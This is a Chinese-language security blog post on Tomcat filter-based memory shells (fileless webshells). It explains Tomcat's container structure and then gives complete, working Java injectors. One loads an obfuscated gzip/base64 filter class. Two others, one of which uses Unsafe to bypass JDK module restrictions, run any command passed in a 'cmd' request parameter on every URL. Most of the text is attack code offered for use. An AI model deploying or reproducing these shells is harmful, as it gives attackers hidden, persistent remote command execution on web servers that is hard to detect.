前言

内存马这块一直都是用的现成的payload,最近大致看了下,具体实现其实就还是照着原来tomcat或spring其添加filter、servlet、controller等流程来的,用自己的代码实现一遍这种流程就可以添加自定义的路由了。综合几种下来感觉还是tomcat的filter内存马利用面更广也更容易一些(tomcat和spring一般都是先经过过滤器的),就此来简单记录下filter内存马吧,其他类型的内存马也是大同小异。

tomcat的Filter工作流程

先简单分析下吧

springboot内嵌tomcat,为了调试方便就用springboot来分析tomcat过滤器的注入流程吧

首先要知道的是tomcat的Filter、Servlet等相关内存马都是基于StandarContext 来创建的

Tomcat 设计了 4 种容器,分别是 Engine、Host、Context 和 Wrapper。这 4 种容器不是相互独立的关系,而是父子关系,逐层包含。如下图所示:

img

Tomcat通过这样的分层的架构设计,使得Servlet容器具有良好的灵活性。一个Service最多只能有一个Engine,Engine表示引擎,用来管理多个虚拟主机的。Host代表就是一个虚拟主机,可以给Tomcat配置多个虚拟主机,一个虚拟主机下面可以部署多个Web应用。一个Context就表示一个Web应用,Web应用中会有多个Servlet,Wrapper就表示一个Servlet。

所以只要获取到了StandardContext 我们就可以随意操作其下的filter和servlet了

创建filter的关键步骤如下

在StandardContext中添加filterDef

image-20240308141459201

String filterName = "MemFilter";
//创建FilterDef
FilterDef filterDef = new FilterDef();
Filter evilFilter = new EvilFilter();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(evilFilter.getClass().getName());
filterDef.setFilter(evilFilter);

//在standardContext中添加filterDef
standardContext.addFilterDef(filterDef);

在StandardContext中添加filterMap

image-20240308141822594

//在standardContext中添加filterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");
standardContext.addFilterMapBefore(filterMap);

在StandardContext中添加filterConfig

在上述 filterDeffilterMap 添加完成后会调用 org.apache.catalina.core.StandardContext#filterStart 方法添加 filterConfigs ,这个 filterConfigs 是后续访问对应filter的关键

image-20240308142310471

//在standardContext中添加filterConfig
Field filterConfigsF = org.apache.catalina.core.StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsF.setAccessible(true);
Map filterConfigs = (Map) filterConfigsF.get(standardContext);
Constructor cons = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(org.apache.catalina.Context.class, org.apache.tomcat.util.descriptor.web.FilterDef.class);
cons.setAccessible(true);
Object applicationFilterConfig = cons.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, applicationFilterConfig);

(org.apache.catalina.core.ApplicationFilterConfig 构造方法为非 Public 修饰,需要使用反射)

至此,tomcat初始化Filter的流程算是结束了

访问Filter

之后我们访问下对应的filter

org.apache.catalina.core.ApplicationFilterFactory#createFilterChain 中会创建一个包含所有相匹配filter的 filterChain

image-20240308143053728

其中的 filterConfig 就是我们上面向 StandardContext 中所添加的 filterConfig

之后会进入对应filterChaindoFilter方法

image-20240308143523945

之后在 org.apache.catalina.core.ApplicationFilterChain#internalDoFilter 中会按顺序依次执行 filtersdoFilter方法

image-20240308143831993

所以Filter内存马的添加主要就是4个步骤

  1. 获取 StandardContext
  2. 在StandardContext中添加filterDef
  3. 在StandardContext中添加filterMap
  4. 在StandardContext中添加filterConfig

获取StandardContext

现在的问题就是如何获取 StandardContext 这个对象了

如果我们有 request 对象的话就比较好获取了

ServletContext servletContext = request.getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");  // 获取属性
appctx.setAccessible(true);
//从servletContext中获取context属性->applicationContext
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");  // 获取属性
stdctx.setAccessible(true);
// 从applicationContext中获取context属性->standardContext,applicationContext构造时需要传入standardContext
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

那如果没有 request 对象呢?

早就有前辈总结过了 https://xz.aliyun.com/t/9914

这里我用了个比较取巧的办法,获取方法如下

static boolean isInjected = false;

public void inject(Object target, HashSet cache) throws Exception {
    if (isInjected || target == null || cache.contains(target)) return;
    String name = target.getClass().getName();
    if(name.startsWith("java.") && !name.contains("java.lang.Thread")) return;
    if(name.contains("StandardContext") || name.contains("TomcatEmbeddedContext")) {
        injectFilter((StandardContext) target);
        isInjected = true;
        return;
    }
    cache.add(target);
    Class clazz = target.getClass();
    while (clazz != null) {
        for(Field field: clazz.getDeclaredFields()) {
            field.setAccessible(true);
            Object fieldObj = field.get(target);
            if (fieldObj == null) continue;

            if (fieldObj.getClass().getName().startsWith("[L")) {
                for (Object obj: (Object[]) fieldObj) {
                    inject(obj, cache);
                }
            } else {
                inject(fieldObj, cache);
            }
        }
        clazz = clazz.getSuperclass();
    }
}
public void injectFilter(StandardContext ctx) {
    System.out.println(ctx);
}

兼容性较好的内存马

  • 这里参考JMG工具的内存马,兼容性比较好
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.zip.GZIPInputStream;

//连接密码 ?cmd=calc
public class TomcatFilterMemShell {
    public String getUrlPattern() {
        return "/*";
    }

    public String getClassName() {
        return "CmdFilterShell";
    }

    //恶意filter类的base64
    public String getBase64String() {
        return new String("H4sIAAAAAAAAAKVWa3MTZRR+Nrd3s9lCm14gtKWgUtJrFLBqCggWELTQ2iDYFsVtsm22JLshu+lFVLzffoH9Bf3ijMOMhqKjg86IM3xkhvGj/g4/gM9uSklqwA9+2PNeznuec85zzr67t+/98DOAA/hKwW68KONIGLtwVOAlgZEIAjgm47iCE3hZgYqTMk654ysCr8oYlXFaxhkZYwrG8ZorJhSkcFbgdQUtOCfjvDu+4YpJV0zJmI4giAsK3sRbrrgo8HYEGmYE0gIZAV1CoKDZtoTo6Ly2oCVymjmXSDlFw5wblhA6aJiGc1iCP95zjkdHrAwtto4apn6mlJ/Ri2e1mRx35Ix1wsg5elHCdNwDWkrYenEhpzuJVGWc0C+XdNsZfpTWLlimrW9WV1BHspphDrsRNKQcLX3ptFbwHHtZzArMCWQrHJIpAUNgnqQwVwnK8aW0XnAMggtcEsgxCzcnCV2bA133ZZmzxpznTGQYcNFaJkrKKhXTOk8w2eaRfKZyNpXVc7lBF0XFHnSTpnQ+o+JJPCVhTy141nEKiZMUtXRI6P6vcxViVORhMiTLHjS1PDO3VBRgqrgMku5fNDi1QbzGzWWU4LOzFANpmjO+QX2JSfgSpK6kYgGLKpawLPCOiit4V0KTB1ByjFwildZMUy+6yb1HkwtHVbyPqyo+wIcqPnIdszs/xicCn6r4DJ+r+MJloflhCBvss0IqevClhC219NVEPDYzr6eZREu9ykjoeFxnSeh8bGtJiD2ytxjzdL3+r2RiWIlTZqHkcFvX8tW7Yxv5SdhZ13vVAXVOd8a1IqvnJdMd/7fHnnpBVFd02XZ0RhBxoYpWQS867M6IY41ai0xFc7NsiddFkdOW6TBVvurt1Z6ZfzHlMmim9eGeqQf193QTJdMx8sRU6G9j0VrjYH2bHgJsLPZYPF6HymoLBp7WbXu4xtX6JtuDrmrY3vbAXW0ZaL49XlfhvrpqydaP6Tkjb3hc730019WNTkyR1ewz+pLjXXlkI2B6izCjOl+sgFUHNE6odUV1u1RtSwguuhOXtzpBMNbgbK7kvqFH/t/N2XOOn5RdfCQ8wUdyryF+awKc8W6i3MtVH3ycAZHe65B6o77v4b/GJatGuQV+SoUmYcoId3vQSwMaSr/wO9JA7V99NxFIBvpvIpgMxgK938F/AyEfkqFY6Ba+DQyJqFiDnJRj8i00x+QywlGljMgKQv4h0SpWsCv0E9RJf7QhNRmIbklNEiXq8zBSq+hcV251lY01ymR4DU2xcBnRMpqTyo9omYwp19EabStjWzISi5SxfQXeGFtFMLojqcaCN9DO914to2N9XkbnKhqTYhWRgb7+G+jyYxUNydCDxTXmuxO/4jdKFXdwl6PPY2cKbZQNCJEnFU2IIUpdCwlvpb4NSWzDIe5ewQ5eg+34Gh34Bp1Y8/B2E7ELv3O8zcLcIad3WZY/WJg/yXIfkS9CuU+AsEC/wIDAoEBC4GmBZwT2SXyA3ZMC+++5mv0CBwSe5Z/Dvvv0J+oagVZDgb8h+GUcCuM5OgkxmefxAkubxHCltAwZnLHGDzsh5DVJv2fiNpBrcHCjiWLeuToGCcpDHtrhfwDY1iAi6ggAAA==");
    }

    public TomcatFilterMemShell() {
        try {
            List<Object> contexts = this.getContext();
            Iterator var2 = contexts.iterator();

            while(var2.hasNext()) {
                Object context = var2.next();
                Object filter = this.getFilter(context);
                this.addFilter(context, filter);
            }
        } catch (Exception var5) {
        }

    }

    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        List<Object> contexts = new ArrayList();
        Thread[] threads = (Thread[])((Thread[])invokeMethod(Thread.class, "getThreads"));
        Object context = null;

        try {
            Thread[] var4 = threads;
            int var5 = threads.length;

            for(int var6 = 0; var6 < var5; ++var6) {
                Thread thread = var4[var6];
                if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
                    HashMap childrenMap = (HashMap)getFV(getFV(getFV(thread, "target"), "this$0"), "children");
                    Iterator var9 = childrenMap.keySet().iterator();

                    while(var9.hasNext()) {
                        Object key = var9.next();
                        HashMap children = (HashMap)getFV(childrenMap.get(key), "children");
                        Iterator var12 = children.keySet().iterator();

                        while(var12.hasNext()) {
                            Object key1 = var12.next();
                            context = children.get(key1);
                            if (context != null && context.getClass().getName().contains("StandardContext")) {
                                contexts.add(context);
                            }

                            if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
                                contexts.add(context);
                            }
                        }
                    }
                } else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
                    context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
                    if (context != null && context.getClass().getName().contains("StandardContext")) {
                        contexts.add(context);
                    }

                    if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
                        contexts.add(context);
                    }
                }
            }

            return contexts;
        } catch (Exception var14) {
            throw new RuntimeException(var14);
        }
    }

    private Object getFilter(Object context) {
        Object filter = null;
        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        if (classLoader == null) {
            classLoader = context.getClass().getClassLoader();
        }

        try {
            filter = classLoader.loadClass(this.getClassName());
        } catch (Exception var9) {
            try {
                byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String()));
                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
                defineClass.setAccessible(true);
                Class clazz = (Class)defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
                filter = clazz.newInstance();
            } catch (Throwable var8) {
            }
        }

        return filter;
    }

    public String getFilterName(String className) {
        if (className.contains(".")) {
            int lastDotIndex = className.lastIndexOf(".");
            return className.substring(lastDotIndex + 1);
        } else {
            return className;
        }
    }

    public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException {
        ClassLoader catalinaLoader = this.getCatalinaLoader();
        String filterClassName = this.getClassName();
        String filterName = this.getFilterName(filterClassName);

        try {
            if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) {
                return;
            }
        } catch (Exception var16) {
        }

        Object filterDef;
        Object filterMap;
        try {
            filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
            filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
        } catch (Exception var15) {
            try {
                filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
                filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
            } catch (Exception var14) {
                filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance();
                filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance();
            }
        }

        try {
            invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
            invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
            invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
            invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
            invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});

            Constructor[] constructors;
            try {
                invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()});
                constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
            } catch (Exception var12) {
                invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()});
                constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, catalinaLoader).getDeclaredConstructors();
            }

            try {
                invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
            } catch (Exception var11) {
                invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
            }

            constructors[0].setAccessible(true);
            Object filterConfig = constructors[0].newInstance(context, filterDef);
            Map filterConfigs = (Map)getFV(context, "filterConfigs");
            filterConfigs.put(filterName, filterConfig);
        } catch (Exception var13) {
            var13.printStackTrace();
        }

    }

    public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Thread[] threads = (Thread[])((Thread[])invokeMethod(Thread.class, "getThreads"));
        ClassLoader catalinaLoader = null;

        for(int i = 0; i < threads.length; ++i) {
            if (threads[i].getName().contains("ContainerBackgroundProcessor")) {
                catalinaLoader = threads[i].getContextClassLoader();
                break;
            }
        }

        return catalinaLoader;
    }

    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Class decoderClass;
        try {
            decoderClass = Class.forName("sun.misc.BASE64Decoder");
            return (byte[])((byte[])decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str));
        } catch (Exception var4) {
            decoderClass = Class.forName("java.util.Base64");
            Object decoder = decoderClass.getMethod("getDecoder").invoke((Object)null);
            return (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str));
        }
    }

    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
        GZIPInputStream ungzip = new GZIPInputStream(in);
        byte[] buffer = new byte[256];

        int n;
        while((n = ungzip.read(buffer)) >= 0) {
            out.write(buffer, 0, n);
        }

        return out.toByteArray();
    }

    static Object getFV(Object obj, String fieldName) throws Exception {
        Field field = getF(obj, fieldName);
        field.setAccessible(true);
        return field.get(obj);
    }

    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
        Class<?> clazz = obj.getClass();

        while(clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
                return field;
            } catch (NoSuchFieldException var4) {
                clazz = clazz.getSuperclass();
            }
        }

        throw new NoSuchFieldException(fieldName);
    }

    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
    }

    public static synchronized Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Class clazz = obj instanceof Class ? (Class)obj : obj.getClass();
        Method method = null;
        Class tempClass = clazz;

        while(method == null && tempClass != null) {
            try {
                if (paramClazz == null) {
                    Method[] methods = tempClass.getDeclaredMethods();

                    for(int i = 0; i < methods.length; ++i) {
                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
                            method = methods[i];
                            break;
                        }
                    }
                } else {
                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
                }
            } catch (NoSuchMethodException var11) {
                tempClass = tempClass.getSuperclass();
            }
        }

        if (method == null) {
            throw new NoSuchMethodException(methodName);
        } else {
            method.setAccessible(true);
            if (obj instanceof Class) {
                try {
                    return method.invoke((Object)null, param);
                } catch (IllegalAccessException var9) {
                    throw new RuntimeException(var9.getMessage());
                }
            } else {
                try {
                    return method.invoke(obj, param);
                } catch (IllegalAccessException var10) {
                    throw new RuntimeException(var10.getMessage());
                }
            }
        }
    }

    static {
        new TomcatFilterMemShell();
    }
}
  • 或者按我上面所用的暴力枚举的方法

比较暴力无脑,直接暴力遍历所有线程中的所有属性去寻找 StandardContext ,然后注入filter

import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashSet;
import java.util.Map;

public class InjectFilter implements Filter {

    static boolean isInjected = false;
    static {
        try {
            inject(Thread.currentThread(), new HashSet());
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    public static void inject(Object target, HashSet cache) throws Exception {
        if (isInjected || target == null || cache.contains(target)) return;
        String name = target.getClass().getName();
        if(name.contains("StandardContext") || name.contains("TomcatEmbeddedContext")) {
            injectFilter((StandardContext) target);
            isInjected = true;
            return;
        }
        cache.add(target);
        Class clazz = target.getClass();
        while (clazz != null) {
            for(Field field: clazz.getDeclaredFields()) {
                field.setAccessible(true);
                Object fieldObj = field.get(target);
                if (fieldObj == null) continue;

                if (fieldObj.getClass().getName().startsWith("[L")) {
                    for (Object obj: (Object[]) fieldObj) {
                        inject(obj, cache);
                    }
                } else {
                    inject(fieldObj, cache);
                }
            }
            clazz = clazz.getSuperclass();
        }
    }
    public static void injectFilter(StandardContext standardContext) throws Exception {
        String filterName = "MemFilter";
        //创建FilterDef
        FilterDef filterDef = new FilterDef();
        Filter evilFilter = new InjectFilter();
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(evilFilter.getClass().getName());
        filterDef.setFilter(evilFilter);

        //在standardContext中添加filterDef
        standardContext.addFilterDef(filterDef);

        //在standardContext中添加filterMap
        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName(filterName);
        filterMap.addURLPattern("/*");
        standardContext.addFilterMapBefore(filterMap);

        //在standardContext中添加filterConfig
        Field filterConfigsF = org.apache.catalina.core.StandardContext.class.getDeclaredField("filterConfigs");
        filterConfigsF.setAccessible(true);
        Map filterConfigs = (Map) filterConfigsF.get(standardContext);
        Constructor cons = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(org.apache.catalina.Context.class, org.apache.tomcat.util.descriptor.web.FilterDef.class);
        cons.setAccessible(true);
        Object applicationFilterConfig = cons.newInstance(standardContext, filterDef);
        filterConfigs.put(filterName, applicationFilterConfig);
    }


    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        if(cmd != null) {
            InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
            byte[] buf = new byte[1024];
            int num;
            OutputStream os = response.getOutputStream();
            while ((num = is.read(buf)) != -1) {
                os.write(buf, 0, num);
            }
            os.close();
        }
    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {}
    @Override
    public void destroy() {}
}

image-20240310162827392

应对高版本jdk附带bypass module功能的

import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import sun.misc.Unsafe;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashSet;
import java.util.Map;
import java.util.Objects;

public class Evil implements Filter {

    static boolean isInjected = false;
    static {
        try {
            bypassModule();
        } catch (Exception ignored) {}
        try {
            inject(Thread.currentThread(), new HashSet());
        } catch (Exception e) { throw new RuntimeException(e); }
    }

    public static void inject(Object target, HashSet cache) throws Exception {
        if (isInjected || target == null || cache.contains(target)) return;
        String name = target.getClass().getName();
        if(name.startsWith("java.") && !name.contains("java.lang.Thread")) return;
        if(name.contains("StandardContext") || name.contains("TomcatEmbeddedContext")) {
            injectFilter((StandardContext) target);
            isInjected = true;
            return;
        }
        cache.add(target);
        Class clazz = target.getClass();
        while (clazz != null) {
            for(Field field: clazz.getDeclaredFields()) {
                field.setAccessible(true);
                Object fieldObj = field.get(target);
                if (fieldObj == null) continue;

                if (fieldObj.getClass().getName().startsWith("[L")) {
                    for (Object obj: (Object[]) fieldObj) {
                        inject(obj, cache);
                    }
                } else {
                    inject(fieldObj, cache);
                }
            }
            clazz = clazz.getSuperclass();
        }
    }
    public static void injectFilter(StandardContext standardContext) throws Exception {
        String filterName = "Evil";
        //创建FilterDef
        FilterDef filterDef = new FilterDef();
        Filter evilFilter = new Evil();
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(evilFilter.getClass().getName());
        filterDef.setFilter(evilFilter);

        //在standardContext中添加filterDef
        standardContext.addFilterDef(filterDef);

        //在standardContext中添加filterMap
        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName(filterName);
        filterMap.addURLPattern("/*");
        standardContext.addFilterMapBefore(filterMap);

        //在standardContext中添加filterConfig
        Field filterConfigsF = org.apache.catalina.core.StandardContext.class.getDeclaredField("filterConfigs");
        filterConfigsF.setAccessible(true);
        Map filterConfigs = (Map) filterConfigsF.get(standardContext);
        Constructor cons = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(org.apache.catalina.Context.class, org.apache.tomcat.util.descriptor.web.FilterDef.class);
        cons.setAccessible(true);
        Object applicationFilterConfig = cons.newInstance(standardContext, filterDef);
        filterConfigs.put(filterName, applicationFilterConfig);
    }

    public static void bypassModule() throws Exception {
        Class unsafeClass = Class.forName("sun.misc.Unsafe");
        Field field = unsafeClass.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);
//        Module baseModule = Object.class.getModule();
        Object baseModule = Class.class.getMethod("getModule").invoke(Objects.class);
        Class currentClass = Evil.class;
        long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.putObject(currentClass, offset, baseModule);
    }


    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        if(cmd != null) {
            InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
            byte[] buf = new byte[1024];
            int num;
            OutputStream os = response.getOutputStream();
            while ((num = is.read(buf)) != -1) {
                os.write(buf, 0, num);
            }
            os.close();
        }
    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {}
    @Override
    public void destroy() {}
}

一些不错的内存马相关文章

Java内存马:一种Tomcat全版本获取StandardContext的新方法

https://mp.weixin.qq.com/s/hdqwsYtBN_IpaH2DGZLPoA

https://mp.weixin.qq.com/s/DVG_xiviGp0s_MrP5T_ssg

tomcat架构原理

https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/02.%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/01.Java%E5%AE%89%E5%85%A8/05.%E5%86%85%E5%AD%98%E9%A9%AC/01.Tomcat%E5%86%85%E5%AD%98%E9%A9%AC.html

https://www.maishuren.top/archives/tomcat-zhong-servlet-rong-qi-de-she-ji-yuan-li